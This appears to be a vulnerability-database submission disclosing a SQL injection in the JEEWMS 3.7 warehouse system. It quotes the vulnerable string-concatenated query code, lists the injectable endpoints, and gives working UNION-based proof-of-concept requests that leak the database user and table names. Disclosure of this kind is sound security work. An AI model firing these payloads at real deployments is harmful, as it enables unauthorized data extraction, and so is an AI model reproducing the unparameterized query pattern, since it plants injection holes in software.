| Title | erzhongxmu JEEWMS 3.7 SQL Injection |
|---|
| Description | JEEWMS v3.7 contains a SQL injection vulnerability in MdBinController.java (lines 218-238 getbinall, 313-323 getbinallagv). Four request parameters - binstore, binid, des, cengshu - are concatenated directly into a native SQL query over the wv_bin_all view without parameterization:
String tsql = "select * from wv_bin_all ws where 1 = 1 ";
if (!StringUtil.isEmpty(req.getParameter("binid"))) {
tsql = tsql + " and ws.binid like '%" + req.getParameter("binid") + "%' ";
}
List<Map<String,Object>> resultt = systemService.findForJdbc(tsql);
Because findForJdbc returns the full result list, UNION-based injection directly echoes data in the JSON response. Verified end to end against a live deployment (8 columns in the view; column 2 "binid" reflects data):
PoC:
GET /mdBinController.do?getbinall&binid=1' and 1=2 union select 1,user(),3,4,5,6,7,8 -- -> response contains "binid":"root@localhost" (current DB user)
GET /mdBinController.do?getbinall&binid=1' and 1=2 union select 1,group_concat(table_name),3,4,5,6,7,8 from information_schema.tables where table_schema=database() -- -> all table names echoed in "binid" field
Affected endpoints:
GET /mdBinController.do?getbinall&binid=[INJECT]&binstore=[INJECT]&des=[INJECT]&cengshu=[INJECT]
GET /mdBinController.do?getbinallagv&binstore=[INJECT]&cengshu=[INJECT]
Vulnerable code file: src/main/java/com/zzjee/md/controller/MdBinController.java:218-238 |
|---|
| Source | ⚠️ https://github.com/erzhongxmu/JEEWMS |
|---|
| User | Lib0gus (UID 101005) |
|---|
| Submission | 09/04/2026 11:13 (2 months ago) |
|---|
| Moderation | 10/11/2026 09:51 (1 month later) |
|---|
| Status | Accepted |
|---|
| VulDB entry | 416555 [erzhongxmu JEEWMS up to 2026.09.27-W39 MdBinController.java getbinall/getbinallagv binstore/binid/des/cengshu sql injection] |
|---|
| Points | 20 |
|---|